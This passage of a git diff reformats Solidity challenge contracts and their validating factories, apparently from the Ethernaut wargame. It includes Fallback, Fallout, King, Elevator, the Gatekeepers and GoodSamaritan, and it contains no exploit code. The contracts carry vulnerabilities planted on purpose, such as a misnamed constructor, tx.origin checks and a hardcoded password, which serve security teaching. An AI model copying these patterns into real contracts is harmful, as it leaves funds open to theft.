address) override public view returns (bool) { - address token1 = DexTwo(_instance).token1(); - address token2 = DexTwo(_instance).token2(); - return IERC20(token1).balanceOf(_instance) == 0 && ERC20(token2).balanceOf(_instance) == 0; - } + function validateInstance(address payable _instance, address) public view override returns (bool) { + address token1 = DexTwo(_instance).token1(); + address token2 = DexTwo(_instance).token2(); + return IERC20(token1).balanceOf(_instance) == 0 && ERC20(token2).balanceOf(_instance) == 0; + } } diff --git a/contracts/src/levels/DoubleEntryPoint.sol b/contracts/src/levels/DoubleEntryPoint.sol index b56e59279..95e8ae8c0 100644 --- a/contracts/src/levels/DoubleEntryPoint.sol +++ b/contracts/src/levels/DoubleEntryPoint.sol @@ -5,7 +5,7 @@ import "openzeppelin-contracts-08/access/Ownable.sol"; import "openzeppelin-contracts-08/token/ERC20/ERC20.sol"; interface DelegateERC20 { - function delegateTransfer(address to, uint256 value, address origSender) external returns (bool); + function delegateTransfer(address to, uint256 value, address origSender) external returns (bool); } interface IDetectionBot { @@ -19,24 +19,24 @@ interface IForta { } contract Forta is IForta { - mapping(address => IDetectionBot) public usersDetectionBots; - mapping(address => uint256) public botRaisedAlerts; - - function setDetectionBot(address detectionBotAddress) external override { - usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress); - } - - function notify(address user, bytes calldata msgData) external override { - if(address(usersDetectionBots[user]) == address(0)) return; - try usersDetectionBots[user].handleTransaction(user, msgData) { - return; - } catch {} - } - - function raiseAlert(address user) external override { - if(address(usersDetectionBots[user]) != msg.sender) return; - botRaisedAlerts[msg.sender] += 1; - } + mapping(address => IDetectionBot) public usersDetectionBots; + mapping(address => uint256) public botRaisedAlerts; + + function setDetectionBot(address detectionBotAddress) external override { + usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress); + } + + function notify(address user, bytes calldata msgData) external override { + if (address(usersDetectionBots[user]) == address(0)) return; + try usersDetectionBots[user].handleTransaction(user, msgData) { + return; + } catch {} + } + + function raiseAlert(address user) external override { + if (address(usersDetectionBots[user]) != msg.sender) return; + botRaisedAlerts[msg.sender] += 1; + } } contract CryptoVault { @@ -114,14 +114,16 @@ contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC2 _; // Check if alarms have been raised - if(forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting"); + if (forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting"); } - function delegateTransfer( - address to, - uint256 value, - address origSender - ) public override onlyDelegateFrom fortaNotify returns (bool) { + function delegateTransfer(address to, uint256 value, address origSender) + public + override + onlyDelegateFrom + fortaNotify + returns (bool) + { _transfer(origSender, to, value); return true; } diff --git a/contracts/src/levels/DoubleEntryPointFactory.sol b/contracts/src/levels/DoubleEntryPointFactory.sol index 16cbf6009..8136211ac 100644 --- a/contracts/src/levels/DoubleEntryPointFactory.sol +++ b/contracts/src/levels/DoubleEntryPointFactory.sol @@ -2,56 +2,55 @@ pragma solidity ^0.8.0; -import './DoubleEntryPoint.sol'; -import './base/Level.sol'; +import "./DoubleEntryPoint.sol"; +import "./base/Level.sol"; contract DoubleEntryPointFactory is Level { + function createInstance(address _player) public payable override returns (address) { + // Create legacy token + LegacyToken oldToken = new LegacyToken(); + // Create a new Forta contract + Forta forta = new Forta(); + // Create a new CryptoVault + CryptoVault vault = new CryptoVault(_player); + // Create latest token + DoubleEntryPoint newToken = new DoubleEntryPoint(address(oldToken), address(vault), address(forta), _player); + // Set underlying in CryptoVault + vault.setUnderlying(address(newToken)); + + // Activate legacy support to newToken + oldToken.delegateToNewContract(DelegateERC20(address(newToken))); + + // Give CryptoVault some LGT (LegacyTokens) + oldToken.mint(address(vault), 100 ether); + + return address(newToken); + } + + function validateInstance(address payable _instance, address _player) public override returns (bool) { + DoubleEntryPoint instance = DoubleEntryPoint(_instance); + Forta forta = instance.forta(); + + // If user didn't set an DetectionBot, level failed. + address usersDetectionBot = address(forta.usersDetectionBots(_player)); + if (usersDetectionBot == address(0)) return false; + + address vault = instance.cryptoVault(); + CryptoVault cryptoVault = CryptoVault(vault); + + (bool ok, bytes memory data) = this.__trySweep(cryptoVault, instance); + + require(!ok, "Sweep succeded"); + + bool swept = abi.decode(data, (bool)); + return swept; + } - function createInstance(address _player) override public payable returns (address) { - // Create legacy token - LegacyToken oldToken = new LegacyToken(); - // Create a new Forta contract - Forta forta = new Forta(); - // Create a new CryptoVault - CryptoVault vault = new CryptoVault(_player); - // Create latest token - DoubleEntryPoint newToken = new DoubleEntryPoint(address(oldToken), address(vault), address(forta), _player); - // Set underlying in CryptoVault - vault.setUnderlying(address(newToken)); - - // Activate legacy support to newToken - oldToken.delegateToNewContract(DelegateERC20(address(newToken))); - - // Give CryptoVault some LGT (LegacyTokens) - oldToken.mint(address(vault), 100 ether); - - return address(newToken); - } - - function validateInstance(address payable _instance, address _player) override public returns (bool) { - DoubleEntryPoint instance = DoubleEntryPoint(_instance); - Forta forta = instance.forta(); - - // If user didn't set an DetectionBot, level failed. - address usersDetectionBot = address(forta.usersDetectionBots(_player)); - if(usersDetectionBot == address(0)) return false; - - address vault = instance.cryptoVault(); - CryptoVault cryptoVault = CryptoVault(vault); - - (bool ok, bytes memory data) = this.__trySweep(cryptoVault, instance); - - require(!ok, "Sweep succeded"); - - bool swept = abi.decode(data, (bool)); - return swept; - } - - function __trySweep(CryptoVault cryptoVault, DoubleEntryPoint instance) external returns(bool, bytes memory) { - try cryptoVault.sweepToken(IERC20(instance.delegatedFrom())) { - return(true, abi.encode(false)); - } catch { - return(false, abi.encode(instance.balanceOf(instance.cryptoVault()) > 0)); + function __trySweep(CryptoVault cryptoVault, DoubleEntryPoint instance) external returns (bool, bytes memory) { + try cryptoVault.sweepToken(IERC20(instance.delegatedFrom())) { + return (true, abi.encode(false)); + } catch { + return (false, abi.encode(instance.balanceOf(instance.cryptoVault()) > 0)); + } } - } } diff --git a/contracts/src/levels/Dummy.sol b/contracts/src/levels/Dummy.sol index a961ffde9..14d062d21 100644 --- a/contracts/src/levels/Dummy.sol +++ b/contracts/src/levels/Dummy.sol @@ -2,8 +2,9 @@ pragma solidity ^0.8.0; contract Dummy { - bool public completed; - function setCompleted(bool _completed) public { - completed = _completed; - } + bool public completed; + + function setCompleted(bool _completed) public { + completed = _completed; + } } diff --git a/contracts/src/levels/DummyFactory.sol b/contracts/src/levels/DummyFactory.sol index 9403df1d4..af19e266c 100644 --- a/contracts/src/levels/DummyFactory.sol +++ b/contracts/src/levels/DummyFactory.sol @@ -1,19 +1,18 @@ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; -import './base/Level.sol'; -import './Dummy.sol'; +import "./base/Level.sol"; +import "./Dummy.sol"; contract DummyFactory is Level { + function createInstance(address _player) public payable override returns (address) { + _player; + return address(new Dummy()); + } - function createInstance(address _player) override public payable returns (address) { - _player; - return address(new Dummy()); - } - - function validateInstance(address payable _instance, address _player) override public view returns (bool) { - _player; - Dummy instance = Dummy(_instance); - return instance.completed(); - } + function validateInstance(address payable _instance, address _player) public view override returns (bool) { + _player; + Dummy instance = Dummy(_instance); + return instance.completed(); + } } diff --git a/contracts/src/levels/Elevator.sol b/contracts/src/levels/Elevator.sol index 73cd454ec..06c100dbc 100644 --- a/contracts/src/levels/Elevator.sol +++ b/contracts/src/levels/Elevator.sol @@ -1,21 +1,20 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.0; - -interface Building { - function isLastFloor(uint) external returns (bool); -} - - -contract Elevator { - bool public top; - uint public floor; - - function goTo(uint _floor) public { - Building building = Building(msg.sender); - - if (! building.isLastFloor(_floor)) { - floor = _floor; - top = building.isLastFloor(floor); - } - } -} +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface Building { + function isLastFloor(uint256) external returns (bool); +} + +contract Elevator { + bool public top; + uint256 public floor; + + function goTo(uint256 _floor) public { + Building building = Building(msg.sender); + + if (!building.isLastFloor(_floor)) { + floor = _floor; + top = building.isLastFloor(floor); + } + } +} diff --git a/contracts/src/levels/ElevatorFactory.sol b/contracts/src/levels/ElevatorFactory.sol index 462ef8a96..7211504df 100644 --- a/contracts/src/levels/ElevatorFactory.sol +++ b/contracts/src/levels/ElevatorFactory.sol @@ -2,20 +2,18 @@ pragma solidity ^0.8.0; -import './base/Level.sol'; -import './Elevator.sol'; +import "./base/Level.sol"; +import "./Elevator.sol"; contract ElevatorFactory is Level { + function createInstance(address _player) public payable override returns (address) { + _player; + Elevator instance = new Elevator(); + return address(instance); + } - function createInstance(address _player) override public payable returns (address) { - _player; - Elevator instance = new Elevator(); - return address(instance); - } - - function validateInstance(address payable _instance, address) override public view returns (bool) { - Elevator elevator = Elevator(_instance); - return elevator.top(); - } - + function validateInstance(address payable _instance, address) public view override returns (bool) { + Elevator elevator = Elevator(_instance); + return elevator.top(); + } } diff --git a/contracts/src/levels/Fallback.sol b/contracts/src/levels/Fallback.sol index 550fde2fa..7ddee9c94 100644 --- a/contracts/src/levels/Fallback.sol +++ b/contracts/src/levels/Fallback.sol @@ -2,41 +2,37 @@ pragma solidity ^0.8.0; contract Fallback { + mapping(address => uint256) public contributions; + address public owner; - mapping(address => uint) public contributions; - address public owner; - - constructor() { - owner = msg.sender; - contributions[msg.sender] = 1000 * (1 ether); - } + constructor() { + owner = msg.sender; + contributions[msg.sender] = 1000 * (1 ether); + } - modifier onlyOwner { - require( - msg.sender == owner, - "caller is not the owner" - ); + modifier onlyOwner() { + require(msg.sender == owner, "caller is not the owner"); _; } - function contribute() public payable { - require(msg.value < 0.001 ether); - contributions[msg.sender] += msg.value; - if(contributions[msg.sender] > contributions[owner]) { - owner = msg.sender; + function contribute() public payable { + require(msg.value < 0.001 ether); + contributions[msg.sender] += msg.value; + if (contributions[msg.sender] > contributions[owner]) { + owner = msg.sender; + } } - } - function getContribution() public view returns (uint) { - return contributions[msg.sender]; - } + function getContribution() public view returns (uint256) { + return contributions[msg.sender]; + } - function withdraw() public onlyOwner { - payable(owner).transfer(address(this).balance); - } + function withdraw() public onlyOwner { + payable(owner).transfer(address(this).balance); + } - receive() external payable { - require(msg.value > 0 && contributions[msg.sender] > 0); - owner = msg.sender; - } + receive() external payable { + require(msg.value > 0 && contributions[msg.sender] > 0); + owner = msg.sender; + } } diff --git a/contracts/src/levels/FallbackFactory.sol b/contracts/src/levels/FallbackFactory.sol index 438643ac0..87f3bb6cb 100644 --- a/contracts/src/levels/FallbackFactory.sol +++ b/contracts/src/levels/FallbackFactory.sol @@ -2,19 +2,18 @@ pragma solidity ^0.8.0; -import './base/Level.sol'; -import './Fallback.sol'; +import "./base/Level.sol"; +import "./Fallback.sol"; contract FallbackFactory is Level { + function createInstance(address _player) public payable override returns (address) { + _player; + Fallback instance = new Fallback(); + return address(instance); + } - function createInstance(address _player) override public payable returns (address) { - _player; - Fallback instance = new Fallback(); - return address(instance); - } - - function validateInstance(address payable _instance, address _player) override public view returns (bool) { - Fallback instance = Fallback(_instance); - return instance.owner() == _player && address(instance).balance == 0; - } + function validateInstance(address payable _instance, address _player) public view override returns (bool) { + Fallback instance = Fallback(_instance); + return instance.owner() == _player && address(instance).balance == 0; + } } diff --git a/contracts/src/levels/Fallout.sol b/contracts/src/levels/Fallout.sol index dba10fc89..ff9d87765 100644 --- a/contracts/src/levels/Fallout.sol +++ b/contracts/src/levels/Fallout.sol @@ -1,43 +1,39 @@ // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; -import 'openzeppelin-contracts-06/math/SafeMath.sol'; +import "openzeppelin-contracts-06/math/SafeMath.sol"; contract Fallout { - - using SafeMath for uint256; - mapping (address => uint) allocations; - address payable public owner; - - - /* constructor */ - function Fal1out() public payable { - owner = msg.sender; - allocations[owner] = msg.value; - } - - modifier onlyOwner { - require( - msg.sender == owner, - "caller is not the owner" - ); - _; - } - - function allocate() public payable { - allocations[msg.sender] = allocations[msg.sender].add(msg.value); - } - - function sendAllocation(address payable allocator) public { - require(allocations[allocator] > 0); - allocator.transfer(allocations[allocator]); - } - - function collectAllocations() public onlyOwner { - msg.sender.transfer(address(this).balance); - } - - function allocatorBalance(address allocator) public view returns (uint) { - return allocations[allocator]; - } + using SafeMath for uint256; + + mapping(address => uint256) allocations; + address payable public owner; + + /* constructor */ + function Fal1out() public payable { + owner = msg.sender; + allocations[owner] = msg.value; + } + + modifier onlyOwner() { + require(msg.sender == owner, "caller is not the owner"); + _; + } + + function allocate() public payable { + allocations[msg.sender] = allocations[msg.sender].add(msg.value); + } + + function sendAllocation(address payable allocator) public { + require(allocations[allocator] > 0); + allocator.transfer(allocations[allocator]); + } + + function collectAllocations() public onlyOwner { + msg.sender.transfer(address(this).balance); + } + + function allocatorBalance(address allocator) public view returns (uint256) { + return allocations[allocator]; + } } diff --git a/contracts/src/levels/FalloutFactory.sol b/contracts/src/levels/FalloutFactory.sol index 428950923..316e64ec5 100644 --- a/contracts/src/levels/FalloutFactory.sol +++ b/contracts/src/levels/FalloutFactory.sol @@ -2,19 +2,18 @@ pragma solidity ^0.6.0; -import './base/Level-06.sol'; -import './Fallout.sol'; +import "./base/Level-06.sol"; +import "./Fallout.sol"; contract FalloutFactory is Level { + function createInstance(address _player) public payable override returns (address) { + _player; + Fallout instance = new Fallout(); + return address(instance); + } - function createInstance(address _player) override public payable returns (address) { - _player; - Fallout instance = new Fallout(); - return address(instance); - } - - function validateInstance(address payable _instance, address _player) override public returns (bool) { - Fallout instance = Fallout(_instance); - return instance.owner() == _player; - } + function validateInstance(address payable _instance, address _player) public override returns (bool) { + Fallout instance = Fallout(_instance); + return instance.owner() == _player; + } } diff --git a/contracts/src/levels/ForceFactory.sol b/contracts/src/levels/ForceFactory.sol index c92b93562..e18ac87aa 100644 --- a/contracts/src/levels/ForceFactory.sol +++ b/contracts/src/levels/ForceFactory.sol @@ -2,19 +2,18 @@ pragma solidity ^0.8.0; -import './base/Level.sol'; -import './Force.sol'; +import "./base/Level.sol"; +import "./Force.sol"; contract ForceFactory is Level { + function createInstance(address _player) public payable override returns (address) { + _player; + return address(new Force()); + } - function createInstance(address _player) override public payable returns (address) { - _player; - return address(new Force()); - } - - function validateInstance(address payable _instance, address _player) override public view returns (bool) { - _player; - Force instance = Force(_instance); - return address(instance).balance > 0; - } + function validateInstance(address payable _instance, address _player) public view override returns (bool) { + _player; + Force instance = Force(_instance); + return address(instance).balance > 0; + } } diff --git a/contracts/src/levels/GatekeeperOne.sol b/contracts/src/levels/GatekeeperOne.sol index 1fea64f4d..fa37afa78 100644 --- a/contracts/src/levels/GatekeeperOne.sol +++ b/contracts/src/levels/GatekeeperOne.sol @@ -2,28 +2,27 @@ pragma solidity ^0.8.0; contract GatekeeperOne { + address public entrant; - address public entrant; + modifier gateOne() { + require(msg.sender != tx.origin); + _; + } - modifier gateOne() { - require(msg.sender != tx.origin); - _; - } + modifier gateTwo() { + require(gasleft() % 8191 == 0); + _; + } - modifier gateTwo() { - require(gasleft() % 8191 == 0); - _; - } + modifier gateThree(bytes8 _gateKey) { + require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one"); + require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two"); + require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three"); + _; + } - modifier gateThree(bytes8 _gateKey) { - require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one"); - require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two"); - require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three"); - _; - } - - function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { - entrant = tx.origin; - return true; - } + function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { + entrant = tx.origin; + return true; + } } diff --git a/contracts/src/levels/GatekeeperOneFactory.sol b/contracts/src/levels/GatekeeperOneFactory.sol index 25633fb73..089b42131 100644 --- a/contracts/src/levels/GatekeeperOneFactory.sol +++ b/contracts/src/levels/GatekeeperOneFactory.sol @@ -2,19 +2,18 @@ pragma solidity ^0.8.0; -import './base/Level.sol'; -import './GatekeeperOne.sol'; +import "./base/Level.sol"; +import "./GatekeeperOne.sol"; contract GatekeeperOneFactory is Level { + function createInstance(address _player) public payable override returns (address) { + _player; + GatekeeperOne instance = new GatekeeperOne(); + return address(instance); + } - function createInstance(address _player) override public payable returns (address) { - _player; - GatekeeperOne instance = new GatekeeperOne(); - return address(instance); - } - - function validateInstance(address payable _instance, address _player) override public view returns (bool) { - GatekeeperOne instance = GatekeeperOne(_instance); - return instance.entrant() == _player; - } + function validateInstance(address payable _instance, address _player) public view override returns (bool) { + GatekeeperOne instance = GatekeeperOne(_instance); + return instance.entrant() == _player; + } } diff --git a/contracts/src/levels/GatekeeperThree.sol b/contracts/src/levels/GatekeeperThree.sol index 7097d6a07..ddd987be4 100644 --- a/contracts/src/levels/GatekeeperThree.sol +++ b/contracts/src/levels/GatekeeperThree.sol @@ -2,75 +2,75 @@ pragma solidity ^0.8.0; contract SimpleTrick { - GatekeeperThree public target; - address public trick; - uint private password = block.timestamp; + GatekeeperThree public target; + address public trick; + uint256 private password = block.timestamp; - constructor (address payable _target) { - target = GatekeeperThree(_target); - } - - function checkPassword(uint _password) public returns (bool) { - if (_password == password) { - return true; + constructor(address payable _target) { + target = GatekeeperThree(_target); } - password = block.timestamp; - return false; - } - - function trickInit() public { - trick = address(this); - } - - function trickyTrick() public { - if (address(this) == msg.sender && address(this) != trick) { - target.getAllowance(password); + + function checkPassword(uint256 _password) public returns (bool) { + if (_password == password) { + return true; + } + password = block.timestamp; + return false; + } + + function trickInit() public { + trick = address(this); + } + + function trickyTrick() public { + if (address(this) == msg.sender && address(this) != trick) { + target.getAllowance(password); + } } - } } contract GatekeeperThree { - address public owner; - address public entrant; - bool public allowEntrance; + address public owner; + address public entrant; + bool public allowEntrance; - SimpleTrick public trick; + SimpleTrick public trick; - function construct0r() public { - owner = msg.sender; - } + function construct0r() public { + owner = msg.sender; + } - modifier gateOne() { - require(msg.sender == owner); - require(tx.origin != owner); - _; - } + modifier gateOne() { + require(msg.sender == owner); + require(tx.origin != owner); + _; + } - modifier gateTwo() { - require(allowEntrance == true); - _; - } + modifier gateTwo() { + require(allowEntrance == true); + _; + } - modifier gateThree() { - if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) { - _; + modifier gateThree() { + if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) { + _; + } } - } - function getAllowance(uint _password) public { - if (trick.checkPassword(_password)) { - allowEntrance = true; + function getAllowance(uint256 _password) public { + if (trick.checkPassword(_password)) { + allowEntrance = true; + } } - } - function createTrick() public { - trick = new SimpleTrick(payable(address(this))); - trick.trickInit(); - } + function createTrick() public { + trick = new SimpleTrick(payable(address(this))); + trick.trickInit(); + } - function enter() public gateOne gateTwo gateThree { - entrant = tx.origin; - } + function enter() public gateOne gateTwo gateThree { + entrant = tx.origin; + } - receive () external payable {} + receive() external payable {} } diff --git a/contracts/src/levels/GatekeeperThreeFactory.sol b/contracts/src/levels/GatekeeperThreeFactory.sol index 5a88ee967..d8d4ac061 100644 --- a/contracts/src/levels/GatekeeperThreeFactory.sol +++ b/contracts/src/levels/GatekeeperThreeFactory.sol @@ -1,18 +1,18 @@ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; -import './base/Level.sol'; -import './GatekeeperThree.sol'; +import "./base/Level.sol"; +import "./GatekeeperThree.sol"; contract GatekeeperThreeFactory is Level { - function createInstance(address _player) override public payable returns (address) { - _player; - GatekeeperThree instance = new GatekeeperThree(); - return payable(instance); - } + function createInstance(address _player) public payable override returns (address) { + _player; + GatekeeperThree instance = new GatekeeperThree(); + return payable(instance); + } - function validateInstance(address payable _instance, address _player) override public view returns (bool) { - GatekeeperThree instance = GatekeeperThree(_instance); - return instance.entrant() == _player; - } + function validateInstance(address payable _instance, address _player) public view override returns (bool) { + GatekeeperThree instance = GatekeeperThree(_instance); + return instance.entrant() == _player; + } } diff --git a/contracts/src/levels/GatekeeperTwo.sol b/contracts/src/levels/GatekeeperTwo.sol index 12164a198..0ca1dcab4 100644 --- a/contracts/src/levels/GatekeeperTwo.sol +++ b/contracts/src/levels/GatekeeperTwo.sol @@ -2,28 +2,29 @@ pragma solidity ^0.8.0; contract GatekeeperTwo { + address public entrant; - address public entrant; + modifier gateOne() { + require(msg.sender != tx.origin); + _; + } - modifier gateOne() { - require(msg.sender != tx.origin); - _; - } + modifier gateTwo() { + uint256 x; + assembly { + x := extcodesize(caller()) + } + require(x == 0); + _; + } - modifier gateTwo() { - uint x; - assembly { x := extcodesize(caller()) } - require(x == 0); - _; - } + modifier gateThree(bytes8 _gateKey) { + require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max); + _; + } - modifier gateThree(bytes8 _gateKey) { - require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max); - _; - } - - function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { - entrant = tx.origin; - return true; - } + function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { + entrant = tx.origin; + return true; + } } diff --git a/contracts/src/levels/GatekeeperTwoFactory.sol b/contracts/src/levels/GatekeeperTwoFactory.sol index 4cb4fb633..016341001 100644 --- a/contracts/src/levels/GatekeeperTwoFactory.sol +++ b/contracts/src/levels/GatekeeperTwoFactory.sol @@ -2,19 +2,18 @@ pragma solidity ^0.8.0; -import './base/Level.sol'; -import './GatekeeperTwo.sol'; +import "./base/Level.sol"; +import "./GatekeeperTwo.sol"; contract GatekeeperTwoFactory is Level { + function createInstance(address _player) public payable override returns (address) { + _player; + GatekeeperTwo instance = new GatekeeperTwo(); + return address(instance); + } - function createInstance(address _player) override public payable returns (address) { - _player; - GatekeeperTwo instance = new GatekeeperTwo(); - return address(instance); - } - - function validateInstance(address payable _instance, address _player) override public view returns (bool) { - GatekeeperTwo instance = GatekeeperTwo(_instance); - return instance.entrant() == _player; - } + function validateInstance(address payable _instance, address _player) public view override returns (bool) { + GatekeeperTwo instance = GatekeeperTwo(_instance); + return instance.entrant() == _player; + } } diff --git a/contracts/src/levels/GoodSamaritan.sol b/contracts/src/levels/GoodSamaritan.sol index a6b431363..1b053ba29 100644 --- a/contracts/src/levels/GoodSamaritan.sol +++ b/contracts/src/levels/GoodSamaritan.sol @@ -14,7 +14,7 @@ contract GoodSamaritan { wallet.setCoin(coin); } - function requestDonation() external returns(bool enoughBalance){ + function requestDonation() external returns (bool enoughBalance) { // donate 10 coins to requester try wallet.donate10(msg.sender) { return true; @@ -37,19 +37,19 @@ contract Coin { constructor(address wallet_) { // one million coins for Good Samaritan initially - balances[wallet_] = 10**6; + balances[wallet_] = 10 ** 6; } function transfer(address dest_, uint256 amount_) external { uint256 currentBalance = balances[msg.sender]; // transfer only occurs if balance is enough - if(amount_ <= currentBalance) { + if (amount_ <= currentBalance) { balances[msg.sender] -= amount_; balances[dest_] += amount_; - if(dest_.isContract()) { - // notify contract + if (dest_.isContract()) { + // notify contract INotifyable(dest_).notify(amount_); } } else { @@ -68,7 +68,7 @@ contract Wallet { error NotEnoughBalance(); modifier onlyOwner() { - if(msg.sender != owner) { + if (msg.sender != owner) { revert OnlyOwner(); } _; @@ -100,4 +100,4 @@ contract Wallet { interface INotifyable { function notify(uint256 amount) external; -} \ No newline at end of file +} diff --git a/contracts/src/levels/GoodSamaritanFactory.sol b/contracts/src/levels/GoodSamaritanFactory.sol index 650d8d48d..9586086b4 100644 --- a/contracts/src/levels/GoodSamaritanFactory.sol +++ b/contracts/src/levels/GoodSamaritanFactory.sol @@ -1,19 +1,18 @@ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; -import './base/Level-08.sol'; -import './GoodSamaritan.sol'; +import "./base/Level-08.sol"; +import "./GoodSamaritan.sol"; contract GoodSamaritanFactory is Level { + function createInstance(address _player) public payable override returns (address) { + _player; + return address(new GoodSamaritan()); + } - function createInstance(address _player) override public payable returns (address) { - _player; - return address(new GoodSamaritan()); - } - - function validateInstance(address payable _instance, address _player) override public view returns (bool) { - _player; - GoodSamaritan instance = GoodSamaritan(_instance); - return instance.coin().balances(address(instance.wallet())) == 0; - } + function validateInstance(address payable _instance, address _player) public view override returns (bool) { + _player; + GoodSamaritan instance = GoodSamaritan(_instance); + return instance.coin().balances(address(instance.wallet())) == 0; + } } diff --git a/contracts/src/levels/Instance.sol b/contracts/src/levels/Instance.sol index 716d7a026..32b4c3cdc 100644 --- a/contracts/src/levels/Instance.sol +++ b/contracts/src/levels/Instance.sol @@ -2,47 +2,46 @@ pragma solidity ^0.8.0; contract Instance { + string public password; + uint8 public infoNum = 42; + string public theMethodName = "The method name is method7123949."; + bool private cleared = false; + + // constructor + constructor(string memory _password) { + password = _password; + } - string public password; - uint8 public infoNum = 42; - string public theMethodName = 'The method name is method7123949.'; - bool private cleared = false; - - // constructor - constructor(string memory _password) { - password = _password; - } - - function info() public pure returns (string memory) { - return 'You will find what you need in info1().'; - } + function info() public pure returns (string memory) { + return "You will find what you need in info1()."; + } - function info1() public pure returns (string memory) { - return 'Try info2(), but with "hello" as a parameter.'; - } + function info1() public pure returns (string memory) { + return 'Try info2(), but with "hello" as a parameter.'; + } - function info2(string memory param) public pure returns (string memory) { - if(keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked('hello'))) { - return 'The property infoNum holds the number of the next info method to call.'; + function info2(string memory param) public pure returns (string memory) { + if (keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked("hello"))) { + return "The property infoNum holds the number of the next info method to call."; + } + return "Wrong parameter."; } - return 'Wrong parameter.'; - } - function info42() public pure returns (string memory) { - return 'theMethodName is the name of the next method.'; - } + function info42() public pure returns (string memory) { + return "theMethodName is the name of the next method."; + } - function method7123949() public pure returns (string memory) { - return 'If you know the password, submit it to authenticate().'; - } + function method7123949() public pure returns (string memory) { + return "If you know the password, submit it to authenticate()."; + } - function authenticate(string memory passkey) public { - if(keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) { - cleared = true; + function authenticate(string memory passkey) public { + if (keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) { + cleared = true; + } } - } - function getCleared() public view returns (bool) { - return cleared; - } + function getCleared() public view returns (bool) { + return cleared; + } } diff --git a/contracts/src/levels/InstanceFactory.sol b/contracts/src/levels/InstanceFactory.sol index 0758a37e1..70ea32f8d 100644 --- a/contracts/src/levels/InstanceFactory.sol +++ b/contracts/src/levels/InstanceFactory.sol @@ -2,19 +2,18 @@ pragma solidity ^0.8.0; -import './base/Level.sol'; -import './Instance.sol'; +import "./base/Level.sol"; +import "./Instance.sol"; contract InstanceFactory is Level { + function createInstance(address _player) public payable override returns (address) { + _player; + return address(new Instance("ethernaut0")); + } - function createInstance(address _player) override public payable returns (address) { - _player; - return address(new Instance('ethernaut0')); - } - - function validateInstance(address payable _instance, address _player) override public view returns (bool) { - _player; - Instance instance = Instance(_instance); - return instance.getCleared(); - } + function validateInstance(address payable _instance, address _player) public view override returns (bool) { + _player; + Instance instance = Instance(_instance); + return instance.getCleared(); + } } diff --git a/contracts/src/levels/King.sol b/contracts/src/levels/King.sol index 674fb343d..05bb0709f 100644 --- a/contracts/src/levels/King.sol +++ b/contracts/src/levels/King.sol @@ -2,25 +2,24 @@ pragma solidity ^0.8.0; contract King { + address king; + uint256 public prize; + address public owner; - address king; - uint public prize; - address public owner; + constructor() payable { + owner = msg.sender; + king = msg.sender; + prize = msg.value; + } - constructor() payable { - owner = msg.sender; - king = msg.sender; - prize = msg.value; - } + receive() external payable { + require(msg.value >= prize || msg.sender == owner); + payable(king).transfer(msg.value); + king = msg.sender; + prize = msg.value; + } - receive() external payable { - require(msg.value >= prize || msg.sender == owner); - payable(king).transfer(msg.value); - king = msg.sender; - prize = msg.value; - } - - function _king() public view returns (address) { - return king; - } + function _king() public view returns (address) { + return king; + } } diff --git a/contracts/src/levels/KingFactory.sol b/contracts/src/levels/KingFactory.sol index 1bfa0f9b7..8196b21b7 100644 --- a/contracts/src/levels/KingFactory.sol +++ b/contracts/src/levels/KingFactory.sol @@ -2,27 +2,25 @@ pragma solidity ^0.8.0; -import './base/Level.sol'; -import './King.sol'; +import "./base/Level.sol"; +import "./King.sol"; contract KingFactory is Level { - - uint public insertCoin = 0.001 ether; - - function createInstance(address _player) override public payable returns (address) { - _player; - require(msg.value >= insertCoin, "Must send at least 0.001 ETH"); - return address((new King){value:msg.value}()); - } - - function validateInstance(address payable _instance, address _player) override public returns (bool) { - _player; - King instance = King(_instance); - (bool result,) = address(instance).call{value:0}(""); - !result; - return instance._king() != address(this); - } - - receive() external payable {} - + uint256 public insertCoin = 0.001 ether; + + function createInstance(address _player) public payable override returns (address) { + _player; + require(msg.value >= insertCoin, "Must send at least 0.001 ETH"); + return address((new King){value: msg.value}()); + } + + function validateInstance(address payable _instance, address _player) public override returns (bool) { + _player; + King instance = King(_instance); + (bool result,) = address(instance).call{value: 0}(""); + !result; + return instance._king() != address(this); + } + + receive() external payable {} } diff --git a/contracts/src/levels/MagicNum.sol b/contracts/src/levels/MagicNum.sol index f1b343961..5c8c6eeb1 100644 --- a/contracts/src/levels/MagicNum.sol +++ b/contracts/src/levels/MagicNum.sol @@ -2,16 +2,15 @@ pragma solidity ^0.8.0; contract MagicNum { + address public solver; - address public solver; + constructor() {} - constructor() {} + function setSolver(address _solver) public { + solver = _solver; + } - function setSolver(address _solver) public { - 